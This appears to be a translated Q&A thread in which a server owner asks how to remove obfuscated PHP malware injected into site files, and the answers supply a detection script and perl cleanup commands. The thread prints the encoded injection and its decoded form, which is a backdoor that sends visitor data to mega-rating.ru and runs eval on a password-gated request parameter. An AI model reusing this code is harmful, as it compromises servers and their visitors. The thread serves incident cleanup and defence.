我服务器上的恶意软件攻击

时间:2016-06-29 09:14:10

标签: php regex sed malware debian-7.6.0

我服务器上的所有Index.php,header.php,footer.php文件都有此代码段。可能的恶意软件。现在我想立刻从我的所有文件中删除所有这些垃圾数据。我在Debian系统上使用PHP。

<?php
//###=CACHE START=###
error_reporting(0); 
$strings = "as";$strings .= "sert";
@$strings(str_rot13('riny(onfr64_qrpbqr("nJLtXTymp2I0XPEcLaLcXFO7VTIwnT8tWTyvqwftsFOyoUAyVUftMKWlo3WspzIjo3W0nJ5aXQNcBjccozysp2I0XPWxnKAjoTS5K2Ilpz9lplVfVPVjVvx7PzyzVPtunKAmMKDbWTyvqvxcVUfXnJLbVJIgpUE5XPEsD09CF0ySJlWwoTyyoaEsL2uyL2fvKFxcVTEcMFtxK0ACG0gWEIfvL2kcMJ50K2AbMJAeVy0cBjccMvujpzIaK21uqTAbXPpuKSZuqFpfVTMcoTIsM2I0K2AioaEyoaEmXPEsH0IFIxIFJlWGD1WWHSEsExyZEH5OGHHvKFxcXFNxLlN9VPW1VwftMJkmMFNxLlN9VPW3VwfXWTDtCFNxK1ASHyMSHyfvH0IFIxIFK05OGHHvKF4xK1ASHyMSHyfvHxIEIHIGIS9IHxxvKGfXWUHtCFNxK1ASHyMSHyfvFSEHHS9IH0IFK0SUEH5HVy07PvEcpPN9VPEsH0IFIxIFJlWFEH1CIRIsDHERHvWqBjbxqKWfVQ0tVzu0qUN6Yl9gMJquYKWuqTyhMl5lqF9aMKDhpTujC2yjCFVhqKWfMJ5wo2EyXPEcpPxhVvMxCFVhqKWfMJ5wo2EyXPExXF4vWaH9Vv51pzkyozAiMTHbWUHcYvVzLm0vYvEwYvVznG0kWzt9Vv5gMQHbVwN1LJIzMGIxMwN4ZGt5AwquZJV0AGx2ATZmAQLkAmSyVv4xMP4xqF4xLl4vZFVcBjccMvucozysM2I0XPWuoTkiq191pzksMz9jMJ4vXFN9CFNkXFO7PvEcLaLtCFOznJkyK2qyqS9wo250MJ50pltxqKWfXGfXsFO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G0tVwL5LzZjBGZjVvxtrlOyqzSfXUA0pzyjp2kup2uypltxK1WSHIISH1EoVzZvKFxcBlO9PzIwnT8tWTyvqwg9"));'));
//###=CACHE END=###
?>

我尝试过使用Regex通过PHP但没有帮助 我也在Linux服务器上试过sed

sed -e '/@\$stringd' index.php

但无法保存文件。 请帮忙。

2 个答案:

答案 0 :(得分:1)

正如@jeroen所说,重新安装会很好,因为你真的不知道后门到底有什么后门。

然后你必须清理你的PHP文件。在项目根目录中创建一个类似scan.php的新脚本。

我建议您创建一个帮助程序来检查代码中可能存在恶意软件的位置,而不是自动删除问题:

$dir = new DirectoryIterator(dirname(__FILE__));

foreach ($dir as $fileinfo) 
{
    if (!$fileinfo->isDot()) 
    {
        $fileContents = file_get_contents($fileinfo->getFilename());

        if (strpos($fileContents, 'str_rot13') !== false)
        {
            print "Check this file: " . $fileinfo->getFilename() . "\n";
        }
    }
}

这个脚本非常粗糙,您必须根据需要修改它。

阻止连接

解码后的脚本如下所示:

<?php

if (isset($ibv)) {
    echo $ibv;
} else {
    error_reporting(0);
    ini_set('display_errors', '0');
    if (!isset($ibv)) {
        if (!empty($_COOKIE['client_check'])) {
            die($_COOKIE['client_check']);
        }
        if (preg_match('!\S!u', file_get_contents($_SERVER['SCRIPT_FILENAME']))) {
            $c = 'u';
        } else {
            $c = 'w';
        }
        $d = $_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI'];
        $u = $_SERVER['HTTP_USER_AGENT'];
        $ip = $_SERVER['REMOTE_ADDR'];
        $url = 'http://mega-rating.ru/get.php?ip='.urlencode($ip).'&d='.urlencode($d).'&u='.urlencode($u).'&c='.$c.'&i=1&h='.md5('05aefe5df0818967a1b45964c346171e'.$d.$u.$c.'1');
        if (ini_get('allow_url_fopen') == 1) {
            $ibv = file_get_contents($url);
        } elseif (function_exists('curl_init')) {
            $ch = curl_init($url);
            curl_setopt($ch, CURLOPT_HEADER, false);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
            $result = curl_exec($ch);
            curl_close($ch);
            $ibv = $result;
        } else {
            $fp = fsockopen('mega-rating.ru', 80, $errno, $errstr, 30);
            if ($fp) {
                $out = 'GET /get.php?ip='.urlencode($ip).'&d='.urlencode($d).'&u='.urlencode($u).'&c='.$c.'&i=1&h='.md5('05aefe5df0818967a1b45964c346171e'.$d.$u.$c.'1')." HTTP/1.1\r\n";
                $out .= "Host: mega-rating.ru\r\n";
                $out .= "Connection: Close\r\n\r\n";
                fwrite($fp, $out);
                $resp = '';
                while (!feof($fp)) {
                    $resp .= fgets($fp, 128);
                }

                fclose($fp);
                list($header, $body) = preg_split("/\R\R/", $resp, 2);
                $ibv = $body;
            }
        }
    };
    if (isset($_REQUEST['p']) && $_REQUEST['p'] == '69bc0930') {
        eval(stripslashes($_REQUEST['c']));
    }

    echo $ibv;
}

我还建议阻止所有连接进出主机mega-rating.ru

答案 1 :(得分:0)

重新安装服务器确实是最安全的选择 但没有最近备份那些PHP脚本......

无论如何,sed并不是文件中多行替换的最佳工具 并且您希望删除这些CACHE评论之间的任何内容 我会使用Perl或Awk。

这是一个单行perl解决方案,可以从文件中删除这些注释 (还会创建原始文件的.bak副本)

perl -i.bak -p -0 -e 's@//###=CACHE.*?CACHE END=###@@gs' index.php

请注意,@用于正则表达式的分隔符。通常使用/,但这样/不必在正则表达式中反映。

对于多个* .php文件(没有.bak副本)

perl -i -p -0 -e 's@//###=CACHE.*?CACHE END=###@@gs' *.php

使用的perl标志:

-i[extension]     edit <> files in place (makes backup if extension supplied)
-p                assume loop like -n but print line also, like sed
-0[octal]         specify record separator (\0, if no argument)
-e program        one line of program (several -e's allowed, omit programfile)